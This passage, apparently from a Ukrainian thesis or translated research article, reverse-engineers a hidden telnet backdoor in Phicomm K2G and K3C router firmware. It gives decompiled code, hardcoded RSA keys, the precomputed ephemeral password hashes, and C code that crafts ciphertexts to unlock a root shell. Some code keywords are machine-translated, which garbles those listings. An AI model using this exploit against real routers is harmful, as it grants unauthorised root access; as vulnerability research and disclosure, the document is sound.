Рядок, який тут хешується "K2_COSTDOWN__VER_3.0", є рядком ідентифікації продукту, який спочатку копіюється в обнулений буфер довжиною 128 байт. Перевірка того, що повідомлення з ідентифікацією продукту справді містить хеш MD5 описового рядка, знайденого у двійковому файлі telnetd_startup представлено на скриншоті нижче (Рис. 2.21).
[image: ]
Рисунок 2.21. – Скріншот 

Після цього обміну глобальна змінна за адресою 0x004147e0 змінює своє початкове значення з 2 на 0, і основний цикл сервера переходить до наступної ітерації. У цьому випадку ми спостерігаємо кінцевий автомат, а маркер рукостискання "ABCDEF1234" виконує роль механізму, що переводить його з початкового стану в другий.
Другий стан. Схема керування наступним етапом протоколу, де друге повідомлення, отримане від клієнта, “дешифрується” за допомогою жорстко закодованого відкритого ключа RSA, генерується випадково, а потім “розшифроване” повідомлення обробляється XOR за допомогою випадкового ключа, який потім використовується для створення ефемерних паролів функцією set_telnet_enable_keys() [9].
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Рисунок 2.22. – Схема керування наступним етапом протоколу

У другому стані, представленому вище у вигляді основного блок-графа, а також нижче в декомпільованому коді на C, відбувається п’ять важливих дій після того, як клієнт відповідає на повідомлення, що містить хеш для ідентифікації продукту:
S = ingest_token(payload_buffer,2); 
if (S != 2) { 
    memset(&PAYLOAD_00414af0,0,0x80); 
    memcpy(&PAYLOAD_00414af0,payload_buffer,number_of_bytes_received); 
    S = rsa_public_decrypt_payload(); 
    if (S != 0) розрив; 
    CHECK_STATE_004147e0 = 1; 
    generate_random_plaintext(); 
    rsa_encrypt_with_public_key(); 
    sendto(SKT,&ENCRYPTED_at_4149f0,0x80,0,&src_addr,addrlen); 
    xor_decrypted_payload_with_plaintext(); 
    set_telnet_enable_keys(); 
    перейти до LAB_00401e1c; 
}

1. Розшифрування повідомлення клієнта відкритим ключем [10]. Відповідь, зашифрована закритим ключем клієнта, розшифровується за допомогою загальнодоступного ключа RSA, який жорстко закодовано в двійковий файл.
На віть сьогодні невідомо, що саме розробники цього алгоритму очікують побачити в зашифрованому блоці. Насправді, немає жодних обмежень щодо його вмісту. Цей етап дещо нагадує процедуру запиту автентифікації в протоколі SSH. У цьому випадку клієнт надсилає серверу запит, що містить [10]:
- ім’я користувача;
- відкритий ключ, який буде використаний;
- підпис.
Підпис формується шляхом хешування блоку даних, відомих обом сторонам – наприклад, імені користувача або ідентифікатора сеансу – з подальшим шифруванням цього хешу закритим ключем, що відповідає надісланому відкритому ключу [11]. На цьому етапі бекдор-протоколу Phicomm відбувається щось подібне, проте вміст “підпису” не підлягає жодній перевірці. В результаті немає імені користувача, яке міг би надати клієнт, і є лише одна дійсна пара ключів, що визначається жорстко закодованим відкритим ключем сервера.
Граф потоку керування функцією, яка “дешифрує” повідомлення клієнта за допомогою жорстко закодованого відкритого ключа RSA наведено нижче (Рис. 2.23.).
Зверніть увагу на константу 3, передану до бібліотечної функції OpenSSL `RSA_public_decrypt`, яка вказує на те, що доповнення не буде використовуватися [12]. Це суттєво спростить наші подальші дії.
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Рисунок 2.23. – Граф потоку керування функцією, яка “дешифрує” повідомлення клієнта за допомогою жорстко закодованого відкритого ключа RSA
int rsa_public_decrypt_payload(void) 
{ 
  RSA *rsa; 
  BIGNUM *a; 
  int n; 
  uint digest_len; 
  size_t length_of_decrypted_payload; 
  BIGNUM *локальний_18 [3]; 
  rsa = RSA_new(); 
  local_18[0] = BN_new(); 
  a = BN_new(); 
  BN_set_word(a,0x10001); 
  BN_hex2bn(local_18, "E541A631680C453DF31591A6E29382BC5EAC969DCFDBBCEA64CB49CBE36578845C507BF5E7A6BCD724AFA70 63CA754826E8D13DBA18A2359EB54B5BE 3368158824EA316A495DDC3059C478B41ABF6B388451D38F3C6650C DB4590C1208B91F688D0393241898C1F05A6D500C7066298C6BA2EF310F6DB2E7AF52829E9F8 58691"); 
  rsa->e = a; 
  rsa->n = local_18[0]; 
  memset(&DECRYPTED_PAYLOAD_at_4149d0,0,0x20); 
  n = RSA_size(rsa); 
  digest_len = RSA_public_decrypt(n, 
                                  &PAYLOAD_00414af0, 
                                  &DECRYPTED_PAYLOAD_at_4149d0, 
                                  rsa, 
                                  RSA_NO_PADDING); 
  if (digest_len < 0x101) { 
    length_of_decrypted_payload = strlen(&DECRYPTED_PAYLOAD_at_4149d0); 
    n = -(length_of_decrypted_payload < 0x101 ^ 1); 
  } 
  else { 
    n = -1; 
  } 
  return n; 
}

При цьому результат цієї “розшифровки” не можна порівняти з функцією `telnetd_startup`. Здається, вона зберігає вміст доти, поки функція дешифрування не зазнає збою або не поверне буфер довжиною понад 256 байтів. Я не зовсім певен, що це взагалі можливо в цьому контексті, окрім випадку невиявленої помилки.
Компонент n відкритого ключа зберігається у двійковому форматі як шістнадцятковий рядок і може бути легко витягнутий за допомогою інструменту `strings`. Компонент e зазвичай дорівнює 0x10001 [13].
$ strings -n 256 usr/bin/telnetd_startup
E541A631680C453DF31591A6E29382BC5EAC969DCFDBBCEA64CB49CBE36578845C507BF5E7A6BCD724AFA7063CA754826E8D13DBA18A2359EB 54B5BE3368158824EA316A495DDC3059C478B41ABF6B388451D38F3C6650CDB459 0C1208B91F688D0393241898C1F05A6D500C7066298C6BA2EF310F6DB2E7AF5282 9E9F858691

Тут виникає цікаве питання [14]: який сенс цього початкового обміну? Під час початкового “рукостискання” маршрутизатор надсилає клієнту 16-байтове повідомлення, яке унікально ідентифікує модель, а потім чекає, що клієнт відповість повідомленням, зашифрованим за допомогою певного закритого ключа. Чому саме рукостискання (наприклад, "ABCDEF1234")? Чому хеш, що ідентифікує продукт? Чому не розпочати взаємодію з підписаним або “приватно зашифрованим” повідомленням?
Цей протокол має сенс, лише якщо передбачається, що клієнт, хто б це не був, має базу даних, яка пов’язує кожен хеш ідентифікації продукту з власним приватним ключем RSA. Якщо це так, тоді ми можемо розглядати це як конкретну реалізацію загального бекдор-протоколу [14].
2. Генерація випадкового ключа [15]. Генерується випадковий ключ, який складається з 31 друкованого символу ASCII. Те, що ці символи є друкованими, стане важливим обмеженням. Графік потоку керування для функції, яка генерує випадковий 31-символьний ключ наведено нижче (Рис.2.24).
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Рисунок 2.24. – Графік потоку керування для функції, яка генерує випадковий 31-символьний ключ

3. Шифрування випадкового ключа [16]. Потім випадковий ключ шифрується за допомогою жорстко закодованого відкритого ключа RSA. Відповідно, єдиним способом його розшифрування буде використання відповідного закритого ключа.
int rsa_encrypt_with_public_key(void) 
{ 
  RSA *rsa; 
  BIGNUM *a; 
  int iVar1; 
  BIGNUM *локальний_18 [3]; 
  rsa = RSA_new(); 
  local_18[0] = BN_new(); 
  a = BN_new(); 
  BN_set_word(a,0x10001); 
  BN_hex2bn(local_18, "E541A631680C453DF31591A6E29382BC5EAC969DCFDBBCEA64CB49CBE36578845C507BF5E7A6BCD724AFA70 63CA754826E8D13DBA18A2359EB54B5BE 3368158824EA316A495DDC3059C478B41ABF6B388451D38F3C6650C DB4590C1208B91F688D0393241898C1F05A6D500C7066298C6BA2EF310F6DB2E7AF52829E9F8 58691"); 
  rsa->e = a; 
  rsa->n = local_18[0]; 
  memset(&ENCRYPTED_at_4149f0,0,0x80); 
  iVar1 = RSA_size(rsa); 
  iVar1 = RSA_public_encrypt(iVar1, 
                             &RANDOMLY_GENERATED_PLAINTEXT_at_4149b0, 
                             &ENCRYPTED_at_4149f0, 
                             rsa, 
                             3); 
  повернути iVar1 >> 0x1f; 
}

4. Об’єднання випадкового ключа з повідомленням клієнта за допомогою XOR [17]. Цей крок здається особливо дивним і, на мою думку, є непотрібним ускладненням. Хоча він не лише покращує безпеку системи, але й може потенційно скасувати її. “Розшифроване” повідомлення, отримане від клієнта на попередньому етапі було розшифровано за допомогою відкритого ключа - обробляється порозрядно з випадковим ключем за допомогою операції XOR. Граф потоку керування функції, яка обчислює порозрядне XOR випадкового ключа та результату «дешифрування» другого повідомлення клієнта наведено на рис. 2.25.
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Рисунок 2.25. – Граф потоку керування функції, яка обчислює порозрядне XOR випадкового ключа та результату «дешифрування» другого повідомлення клієнта

void xor_decrypted_payload_with_plaintext(void) 
{ 
  байт *pbVar1; 
  байт *pbVar2; 
  int i; 
  байт *pbVar3; 
  
  i = 0; 
  do { 
    pbVar1 = &DECRYPTED_PAYLOAD_at_4149d0 + i; 
    pbVar2 = &RANDOMLY_GENERATED_PLAINTEXT_at_4149b0 + i; 
    pbVar3 = &XORED_MSG_00414b80 + i; 
    i = i + 1; 
    *pbVar3 = *pbVar1 ^ *pbVar2; 
  } while (i != 0x20); 
  повернення; 
}

5. Використання отриманого рядка для побудови ефемерних паролів [18]. Це і є та крапка, де все починає йти не так. Рядок, отриманий в результаті операції XOR між випадковим ключем і “розшифрованим” повідомленням клієнта, об’єднується з двома жорстко закодованими солями: "+PERM" і "+TEMP". Ці конкатенації хешуються за допомогою того самого алгоритму MD5, який використовувався раніше для створення ідентифікатора продукту. Отримані 16-байтові хеші потім використовуються як ефемерні паролі, які, якщо їх вгадати, дозволять клієнту розблокувати бекдор.
int set_telnet_enable_keys(void) 
{ 
  size_t xor_str_len; 
  char xor_str_perm [512]; 
  char xor_str_temp [512]; 
  uint md5 [22]; 
  
  sprintf(xor_str_perm,"%s+PERM",&XORED_MSG_00414b80); 
  sprintf(xor_str_temp,"%s+TEMP",&XORED_MSG_00414b80); 
  memset(md5,0,0x58); 
  md5_init(md5); 
  xor_str_len = strlen(xor_str_perm); 
  md5_add(md5,xor_str_perm,xor_str_len); 
  md5_digest(md5,&TELNET_ENABLE_PERM_at_414c20); 
  md5_init(md5); 
  xor_str_len = strlen(xor_str_temp); 
  md5_add(md5,xor_str_temp,xor_str_len); 
  md5_digest(md5,&TELNET_ENABLE_TEMP_at_0x414c30); 
  повернути 0; 
}
Перевірка роботи в GDB [19]. Отримавши загальне уявлення про те, як усі частини працюють разом, я вирішив перевірити своє розуміння. Я надіслав статичну збірку MIPS на `gdbserver` маршрутизатора і проаналізував `telnetd_startup` за допомогою `gdb-multiarch` та бібліотеки розширень GDB, gef.
З того, що я зрозумів, `telnetd_startup` дозволяє клієнту розшифрувати своє зашифроване повідомлення за допомогою приватного ключа RSA, який відповідає жорстко закодованому відкритому ключу. Оскільки я насправді не володів цим ключем, а реалізація OpenSSL RSA здавалася складною, я вирішив перевірити свої припущення, застосувавши деякі заходи омани.
Отже, мною було виявлено, що є можливість отримати випадковий ключ у відкритому тексті з буфера за адресою 0x004149b0, додати суфікс "+TEMP", хешувати його за допомогою MD5 та надіслати результат назад. Це фактично дозволило мені контролювати кінцевий автомат, що викликав `system("telnetd -l /bin/login.sh")`, і бекдор відкривався. Я вибрав для свого другого повідомлення рядок, який, як я знав, буде “розшифрований” у буфер з нульовими байтами, жорстко закодованим відкритим ключем RSA. Це було досить просто, і я розумів, що цей метод дозволить створити правильний ефемерний пароль. Це дало мені хорошу індикацію того, що потрібно зробити, щоб відкрити бекдор без допомоги налагоджувача та без перегляду пам’яті, що в реалістичному сценарії було б недоступно для зловмисника.
Це доводить, що для відкриття бекдору нам потрібно або отримати приватний ключ RSA, або вгадати секретний рядок з 31 символу. Зазначена імовірність доволі дуже мала. Тому, озброївшись відкритим ключем RSA, я спочатку зосередився на пошуках слідів цього ключа в Інтернеті, намагаючись знайти ключі, які могли б існувати в різних форматах. Хоча це здавалося малоймовірним, я вирішив, що варто спробувати. На жаль, ці пошуки не дали результату.
На цьому етапі я ще не повністю усвідомлював критичну лазівку, про яку згадував раніше. Це стало зрозумілим, коли я створив діаграму протоколу, показану нижче (рис. 2.26.).
Сеанс налагоджувача (gdb-multiarch + gef), python REPL і сеанс telnet, показує, як, зчитуючи випадковий ключ безпосередньо з пам’яті, ми можемо обчислити тимчасовий пароль, необхідний для ініціалізації сеансу telnet. У цьому сценарії друге повідомлення клієнта вибирається так, що жорстко закодований відкритий ключ RSA “розшифровує” його в буфер із нульовими байтами.
Протокол бекдор [20]. Повна діаграма протоколу бекдора Phicomm, яка, призначена для використання представлена на Рис. 2.27.
Зламування замка бекдора [21]. Необхідно зазначити, що крок 5 стану 2 під час створення двох ефемерних паролів є доволі критичним і це є крапкою неповернення. Отже, перше, на що варто звернути увагу, це те, як рядки, отримані в результаті операції XOR, об’єднуються з двома солями представлена нижче.
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Рисунок 2.26. – Діаграму протоколу

sprintf(xor_str_perm,"%s+PERM",&XORED_MSG_00414b80); 
sprintf(xor_str_temp,"%s+TEMP",&XORED_MSG_00414b80);
Ми можемо розширити XORED_MSG_00414b80, щоб зробити його структуру зрозумілішою, наприклад:
sprintf(xor_str_temp, 
        "%s+TEMP", 
        xor(SECRET_PLAINTEXT, 
            RSA_public_decrypt(HARDCODED_PUBLIC_KEY, 
            ENCRYPTED_XOR_MASK))); 
тимчасовий_пароль = MD5(xor_str_temp);
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Рисунок 2.27. - Повна діаграма протоколу бекдора Phicomm, яка, призначена для використання

Також варто згадати про +PERM. Специфікатор формату %s, який використовує `sprintf`, не призначений для обробки байтових масивів. Він призначений для роботи лише з рядками – точніше, з рядками, що закінчуються нульовим значенням. Розробник вважає [22], що масив байтів може мати довжину 31 байт, але він завершиться на першому нульовому байті.
Якщо перший байт цього “рядка” дорівнює нулю (тобто '\x00', а не ASCII-символ '0'), тоді %s буде відформатовано як порожній рядок.
Якщо `&XORED_MSG_00414b80` вважається порожнім рядком, то `xor_str_temp` і `xor_str_perm` стануть просто "+TEMP" і "+PERM". [22] Випадковий ключ буде повністю видалений. Це призведе до того, що їхні хеші MD5 стануть цілком передбачуваними.
Коли це станеться, цей код вироблятиме саме ці два хеші:

memset(md5,0,0x58);   
  md5_init(md5); 
  xor_str_len = strlen(xor_str_perm); 
  md5_add(md5,xor_str_perm,xor_str_len); 
  md5_digest(md5,&TELNET_ENABLE_PERM_at_414c20); 
  md5_init(md5); 
  xor_str_len = strlen(xor_str_temp); 
  md5_add(md5,xor_str_temp,xor_str_len); 
  md5_digest(md5,&TELNET_ENABLE_TEMP_at_0x414c30);

У [53]: сіль = b"+TEMP" ; MD5.MD5Hash(salt + b'\x00' * (0x58 - len(salt))).digest().hex() 
Out[53]: 'f73fbf2e90e43136f07279c745f2f9f2'
У [54]: сіль = b"+PERM" ; MD5.MD5Hash(salt + b'\x00' * (0x58 - len(salt))).digest().hex() 
Out[54]: 'c423a902bacd28bafd095350d66e7455'

Це означає, що все, що потрібно зробити, щоб створити ситуацію, коли ми зможемо передбачити два ефемерні паролі, це забезпечити, щоб перший байт XOR-рядка дорівнював нулю. Якщо це станеться, то масиви `xor_str_temp` і `xor_str_perm` стануть просто "+TEMP" і "+PERM", що зробить їхні MD5-хеші передбачуваними. Таким чином, ми зможемо легко обчислити ефемерні паролі і отримати доступ до бекдору [22].

XORED_MSG_00414b80[0] == DECRYPTED_PAYLOAD_at_4149d0[0] ^ RANDOMLY_GENERATED_PLAINTEXT_at_4149b0[0] == '\x00'

За відсутності доповнення (тобто коли змінна padding встановлена на `RSA_NO_PADDING` (3)), переважна більшість 128-байтових буферів, що обробляються через `RSA_public_decrypt()`, буде “успішно” перетворена в ненульові буфери [22]. Я провів експеримент, використовуючи жорстко закодований публічний ключ RSA для “дешифрування” 1000 випадкових буферів у REPL Python, щоб зрозуміти шанси. 
Ось що я виявив:
У [23]: D = [pub_decrypt(os.urandom(0x80), padding=None) for i in range(1000)]
In [24]: len([x for x in D if x and any(x)]) / len(D)
Out[24]: 0,903

Понад 90% буферів повернулися без нуля. Якби змінна `padding` була встановлена на `RSA_PKCS1_PADDING`, ситуація була б зовсім іншою. У такому випадку контроль над відкритим текстом був би практично неможливим, оскільки шанси на успішне перетворення знизилися б до мінімуму. Це підкреслює вразливість використання `RSA_NO_PADDING` у цій ситуації.

У [85]: D = [pub_decrypt(os.urandom(0x80), padding="pkcs1") для x в діапазоні (1000)]
In [86]: len([x for x in D if x and any(x)]) / len(D) 
Out[86]: 0,0
Це означає, що поки сервер використовує шифрування без заповнення, нам насправді не потрібен приватний ключ, щоб мати певний контроль над тим, як `RSA_public_decrypt()` обробляє повідомлення, яке ми надсилаємо назад до `telnetd_startup` на початку стану 2.
Отже, контроль, який ми шукаємо, є простим: потрібно, щоб перший байт “розшифрованого” буфера був друкованим. Це важливо, адже єдине, що ми знаємо про випадковий ключ у відкритому тексті, це те, що він складається з друкованих байтів, які знаходяться в діапазоні від 0x21 до 0x7E включно.

У [25]: len([x for x in D if (0x21 <= x[0]) and (x[0] < 0x7f)]) / len(D)
Out[25]: 0,372

Таким чином, це вірно для приблизно 37% випадкових 128-байтних буферів.
Нижче наведено C-код, який створить фальшивий зашифрований текст, відповідаючи цим досить широким вимогам.
unsigned char *find_phony_ciphertext(RSA *rsa) { 
  unsigned char *phony_ciphertext; 
  unsigned char phony_plaintext[1024]; 
  int plaintext_length; 
  memset(phony_plaintext, 0, 0x20); 
  phony_ciphertext = calloc(PHONY_CIPHERTEXT_LENGTH, sizeof(char)); 
  зробити {
    random_buffer(фальшивий_шифрований текст, PHONY_CIPHERTEXT_LENGTH); 
    фальшивий_шифрований текст[0] || (фальшивий_шифрований текст[0] |= 1);
    plaintext_length = decrypt_with_pubkey(rsa, 
phony_ciphertext, phony_plaintext); 

    if ((plaintext_length < 0x101) && 
        (0x21 <= phony_plaintext[0]) && 
        (phony_plaintext[0] < 0x7f)) { 
      printf("[!] Знайдено корисне навантаження етапу 2:\n"); 
      hexdump(фальшивий_шифрований текст, PHONY_CIPHERTEXT_LENGTH); 
      printf("[=] Розшифровує до (%d байтів):\n", plaintext_length); 
      hexdump(фальшивий_звичайний текст, довжина_звичайного_тексту); 
      повернути фальшивий_шифрований текст; 
    } 
  } поки (1); 
}

Після генерації такого буфера у нас є ймовірність 1 з 94 (між 0x21 і 0x7F) отримати повідомлення, яке “розшифровується” за допомогою жорстко закодованого ключа RSA і починається з того самого символу, що й випадковий секретний відкритий текст. Це значно краще, ніж шанси вгадати рядок із 31 символу (94−31) або 16-байтовий хеш (2−128).
Якщо ми правильно вгадаємо, тимчасовий пароль для ввімкнення telnetd стане MD5("+TEMP"), а для постійного − MD5("+PERM"). Це дозволить нам отримати неавтентифіковану кореневу оболонку на маршрутизаторі Phicomm після ста спроб.
Схема протоколу, яка показує, як можна зняти бекдор-замок (Рис. 2.28.).
Доказ концепції. Щоб об’єднати ці висновки, я написав невелику програму для підтвердження концепції на C, яка надійно розблокує бекдор маршрутизатора Phicomm і надасть користувачеві кореневу оболонку через telnet. Ви можете побачити це в дії нижче (рис.2.29.).
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Рисунок 2.28. – Схема протоколу, яка показує, як можна зняти бекдор-замок
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Рисунок 2.29. – Зламування замка на бекдорі маршрутизатора Phicomm K2G.

Злом замка на бекдорі K3C [23]. Отже, переді мною постало питання, чи може маршрутизатор Phicomm K3C бути вразливим до аналогічних атак, тому я почав шукати копії образу прошивки K3C на кількох китайських форумах. Я знайшов образи прошивки для K3C у всіх зазначених версіях: 32.1.15.93, 32.1.22.113, 32.1.26.175, 32.1.45.267 та 32.1.46.268.

$ знайти. -path "*usr/bin/telnetd_startup" -exec bash -c 'echo -e "$(grep -o "fw_ver .*" $(dirname {})/../../etc/config/system)\ n\tДВІЙКОВИЙ ХЕШ MD5: $(md5sum {})\n\tІДЕНТИФІКАТОР ПРОДУКТУ: $(strings {} | grep VER)\n\tПУБЛІЧНИЙ КЛЮЧ RSA: $(strings -n 256 {})\n" ' {} \;
fw_ver '32.1.15.93'
    MD5 HASH OF BINARY: f53a60b140009d91b51e4f24e483e893  ./_K3C_V32.1.15.93.bin.extracted/squashfs-root/usr/bin/telnetd_startup
    PRODUCT IDENTIFIER: 
    PUBLIC RSA KEY(S): CC232B9BB06C49EA1BDD0DE1EF9926872B3B16694AC677C8C581E1B4F59128912CBB92EB363990FAE43569778B58FA170FB1EBF3D1E88B7F6BA3DC47E59CF5F3C3064F62E504A12C5240FB85BE727316C10EFF23CB2DCE973376D0CB6158C72F6529A9012786000D820443CA44F9F445ED4ED0344AC2B1F6CC124D9ED309A519
9FC8FFBF53AECF8461DEFB98D81486A5D2DEE341F377BA16FB1218FBAE23BB1F3766732F8D382E15543FC2980208D968E7AE1AC4B48F53719F6D9964E583A0B791150B9C0C354143AE285567D8C042240CA8D7A6446E49CCAF575ACC63C55BAC8CF5B6A77DEE0580E50C2BFEB62C06ACA49E0FD0831D1BB0CB72BC9B565313C9
fw_ver '32.1.22.113'
    MD5 HASH OF BINARY: d23c3c27268e2d16c721f792f8226b1d  ./_K3C_V32.1.22.113.bin.extracted/squashfs-root/usr/bin/telnetd_startup
    PRODUCT IDENTIFIER: 
    PUBLIC RSA KEY(S): CC232B9BB06C49EA1BDD0DE1EF9926872B3B16694AC677C8C581E1B4F59128912CBB92EB363990FAE43569778B58FA170FB1EBF3D1E88B7F6BA3DC47E59CF5F3C3064F62E504A12C5240FB85BE727316C10EFF23CB2DCE973376D0CB6158C72F6529A9012786000D820443CA44F9F445ED4ED0344AC2B1F6CC124D9ED309A519
fw_ver '32.1.26.175'
    MD5 HASH OF BINARY: d23c3c27268e2d16c721f792f8226b1d  ./_K3C_V32.1.26.175.bin.extracted/squashfs-root/usr/bin/telnetd_startup
    PRODUCT IDENTIFIER: 
    PUBLIC RSA KEY(S): CC232B9BB06C49EA1BDD0DE1EF9926872B3B16694AC677C8C581E1B4F59128912CBB92EB363990FAE43569778B58FA170FB1EBF3D1E88B7F6BA3DC47E59CF5F3C3064F62E504A12C5240FB85BE727316C10EFF23CB2DCE973376D0CB6158C72F6529A9012786000D820443CA44F9F445ED4ED0344AC2B1F6CC124D9ED309A519
fw_ver '32.1.45.267'
    MD5 HASH OF BINARY: 283b65244c4eafe8252cb3b43780a847  ./_SW_K3C_703004761_V32.1.45.267.bin.extracted/squashfs-root/usr/bin/telnetd_startup
    PRODUCT IDENTIFIER: K3C_INTELALL_VER_3.0
    PUBLIC RSA KEY(S): E7FFD1A1BB9834966763D1175CFBF1BA2DF53A004B62977E5B985DFFD6D43785E5BCA088A6417BAF070BCE199B043C24B03BCEB970D7E47EEBA7F59D2BE4764DD8F06DB8E0E2945C912F52CB31C56C8349B689198C4A0D88FD029CCECDDFF9C1491FFB7893C11FAD69987DBA15FF11C7F1D570963FA3825B6AE92815388B3E03
fw_ver '32.1.46.268'
    MD5 HASH OF BINARY: 283b65244c4eafe8252cb3b43780a847  ./_K3C_V32.1.46.268.bin.extracted/squashfs-root/usr/bin/telnetd_startup
    PRODUCT IDENTIFIER: K3C_INTELALL_VER_3.0
    PUBLIC RSA KEY(S): E7FFD1A1BB9834966763D1175CFBF1BA2DF53A004B62977E5B985DFFD6D43785E5BCA088A6417BAF070BCE199B043C24B03BCEB970D7E47EEBA7F59D2BE4764DD8F06DB8E0E2945C912F52CB31C56C8349B689198C4A0D88FD029CCECDDFF9C1491FFB7893C11FAD69987DBA15FF11C7F1D570963FA3825B6AE92815388B3E03

Швидкий огляд RoutAckProV1B2.exe показує (рис.2.30.), що він дійсно взаємодіє зі службою, яка прослуховує UDP-порт 21210 (0x52DA у 16-никовій системі, 0xDA52 у прямому представленні) на маршрутизаторі.
Мене зацікавило, чи не підключили мене, тому я запустив віртуальну машину Windows в ізольованій мережі з підключеним Phicomm K2G.
[image: ]
Рисунок.2.30. – 16-никовий дамп RoutAckProV1B2.exe.

Нижче наведено скриншот, на якому показано (Рис.2.31.), як я використовував інструмент RoutAckProV1B2 для моніторингу його діяльності з допомогою procmon.exe та Wireshark. Я спостерігав, як інструмент безуспішно намагався відкрити бекдор на K2G, при цьому не надсилаючи маркер “рукостискання” "ABCDEF1234".
[image: ]
Рисунок 2.31. – Використання інструменту RoutAckProV1B2 для моніторингу його діяльності з допомогою procmon.exe та Wireshark.

Замість цього він надсилав одне 128-байтове корисне навантаження п’ять разів поспіль, перш ніж остаточно зупинився. Розблокування бекдора, інстальованого у старіших версіях мікропрограми маршрутизатора Phicomm представлено на малюнку (рис.2.32).
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Рисунок 2.32. – Розблокування бекдора у старіших версіях мікропрограми маршрутизатора Phicomm

На даному рисунку видно, як інструмент RoutAckProV1B2.exe безуспішно намагається відкрити бекдор на віртуальній машині з найновішою мікропрограмою, яку я зміг знайти для Phicomm K3C.
Однак версії мікропрограми 32.1.45 і вище мали ідентичну збірку демона `telnetd_startup`, яка, здавалося, відрізнялася від аналога на маршрутизаторі K2G лише тим, що була скомпільована для архітектури MIPS з визначеним порядком байтів. Цікаво, що цей двійковий файл не був позбавлений символів, що дещо спростило аналіз [24].
Функція, яка встановлює ефемерні паролі (як зазначено вище), мала ту ж програмну помилку, що й аналогічна функція на K2G, і, ймовірно, була створена з того самого вихідного коду.
Декомпіляція функції, згаданої раніше як "set_telnet_enable_keys()", показує її реалізацію в збірці K3C двійкового файлу telnetd_startup. Ця функція скомпільована для архітектури MIPS зі змінним порядком байтів, на відміну від двійкового файлу K2G, який не має символів налагодження [25]. Це дещо спрощує зворотнє проектування, хоча алгоритм залишається ідентичним (рис.2.33).
[image: https://miro.medium.com/v2/resize:fit:558/0*IvPleennHnlclWpV.png]
Рисунок 2.33. – Зворотнє проектування, алгоритм залишається ідентичним

Все, що мені потрібно було зробити, це відновити жорстко закодований відкритий ключ RSA з двійкового файлу. Після цього я міг легко адаптувати свій інструмент для зламу цього бекдору. Для цього достатньо було запустити двійковий файл за допомогою команди `strings -n 256` (мікропрограма K3C версії 32.1.46.268) (рис.2.34).
[image: https://miro.medium.com/v2/resize:fit:875/0*4Ni4XapPBcm1J8Rz.png]
Рисунок 2.34. – Використання -n 256 

Strings також допоміг отримати ідентифікатор продукту. Там, де збірка Phicomm K2G містила K2_COSTDOWN__VER_3.0, збірка K3C мала K3C_INTELALL_VER_3.0 (Рис. 2.35.):
[image: https://miro.medium.com/v2/resize:fit:875/0*ldFcw1REAyUMdz-p.png]
Рисунок 2.35. – K3C_INTELALL_VER_3.0

Мною було додано цю інформацію до таблиці в інструменті backdoor-lockpick, який пов’язує рядки ідентифікації продукту з відкритими ключами RSA. На скриншоті (Рис. 2.36.) нижче показано, як я додав ідентифікатор продукту та закодований загальнодоступний ключ RSA до таблиці, що дозволяє моєму інструменту відкривати бекдори K3C і K2G.
[image: https://miro.medium.com/v2/resize:fit:875/0*Qz_H5jx_zeVgT0fU.png]
Рисунок 2.36. – Ідентифікатор продукту та закодований загальнодоступний ключ RSA

В подальшому мною було вирішено використати доступні інструменти для емулювання збірки `telnetd_startup` K3C в режимі користувача за допомогою QEMU. Для зручності та мобільності я загорнув його в контейнер Docker, слідуючи методу, описаному @drablyechos на IOT Village 2020 на DEFCON. Хоча обгортка в Docker не є обов’язковою, вона значно спрощує процес.
Демон `telnetd_startup` не виконує попередній пошук прапора telnet у флеш-пам’яті, оскільки пристрій для перевірки відсутній. Однак він успішно відновлюється після цієї помилки та продовжує слухати на UDP-порту 21210, як ніби прапор telnet встановлений у вимкнене положення у флеш-пам’яті, що є налаштуванням за замовчуванням [27].
Отже, зловмисник не матиме жодних труднощів з цим бекдором, так само як і з аналогічним на K2G.
На скриншоті показано, як мій бекдор працює, цього разу відкриваючи замок на бекдорі K3C. У цьому випадку прошивка K3C виконується на віртуальній машині (Рис. 2.37).
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Рисунок 2.37. – Прошивка K3C на віртуальній машині.

Задля повноти я вирішив протестувати RoutAckProV1B2.exe атаку 's проти мого віртуалізованого K3C із мікропрограмою версії 32.1.46.268.
Не будучи зовсім впевненим у тому, що відбувається, я вирішив ще раз перевірити дані у Wireshark. `RoutAckProV1B2` неодноразово надсилав 128-байтові пакети на мій віртуалізований сервер K3C (з мікропрограмою версії 32.1.46.268) на UDP-порт 21210, але не отримував жодної відповіді. Порт Telnet жодного разу не відкривався.
Однак під час тестування зі старішою версією мікропрограми 32.1.26.175 `RoutAckProV1B2.exe` працював без збоїв.
Це безсумнівно свідчить про те, що найновіші версії мікропрограми для маршрутизаторів Phicomm K2G і K3C використовують новий бекдор-протокол з покращеним захистом, але реалізований з катастрофічною вразливістю, яка дозволяє будь-кому в локальній мережі отримати кореневу оболонку на пристрої [27].
Phicomm K3C із міжнародною версією мікропрограми 33.1.25.177. Налаштувавши маршрутизатор я виявив, що мікропрограмне забезпечення на цьому пристрої має версію 33.1.25.177 (рис.2.38.), що є новішою основною версією в порівнянні з останньою прошивкою китайського ринку, яку я тестував.
[image: https://miro.medium.com/v2/resize:fit:875/1*lOybHa6GnHi-RQnSLeR4MQ.png]
Рисунок 2.38. – Інтерфейс веб-адміністратора для K3C із мікропрограмою версії 33.1.25.177.

На UDP-порті 21210 здійснювалось прослуховування, але спочатку це не виглядало як бекдор з китайської прошивки, яку я досліджував. Пристрій відповідав на будь-який пакет непередбачуваним повідомленням з високою ентропією, що містило 128 байт, а це могло бути зашифрованим ключем для клієнта на другому етапі протоколу. Ця поведінка нагадувала простіший бекдор, для якого був розроблений інструмент `RoutAckProV1B2.exe`, але я не зміг досягти успіху з ним. Отже я вирішив проаналізувати двійковий файл, що прослуховується, у пошуках UART-порту для доступу до кореневої оболонки.
З’ясувалося, що пристрій має чітко позначений UART, тому я взяв свій послідовний міст UART-USB і припаяв кілька контактів роз’єму до порту UART (Рис.2.39.).
[image: https://miro.medium.com/v2/resize:fit:768/1*5M3hNnr7T1Oeh6nOMJ2dRA.png]
Рисунок 2.39. – Міст UART-USB.

Ці пристрої досить делікатні, тому я намагався не розбирати їх повністю та не виймати з корпусу. У цьому мені допоміг гарячий пістолет. Однак з розплавленим пластиковим корпусом було трохи незручно працювати, тому врешті-решт я вирішив розібрати пристрій і зняти непотрібну верхню плату, на якій розміщувалися радіочастотні компоненти. Після цього все працювало добре (Рис.2.40).
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Рисунок 2.40. – Встановлення радіочастотних компонентів

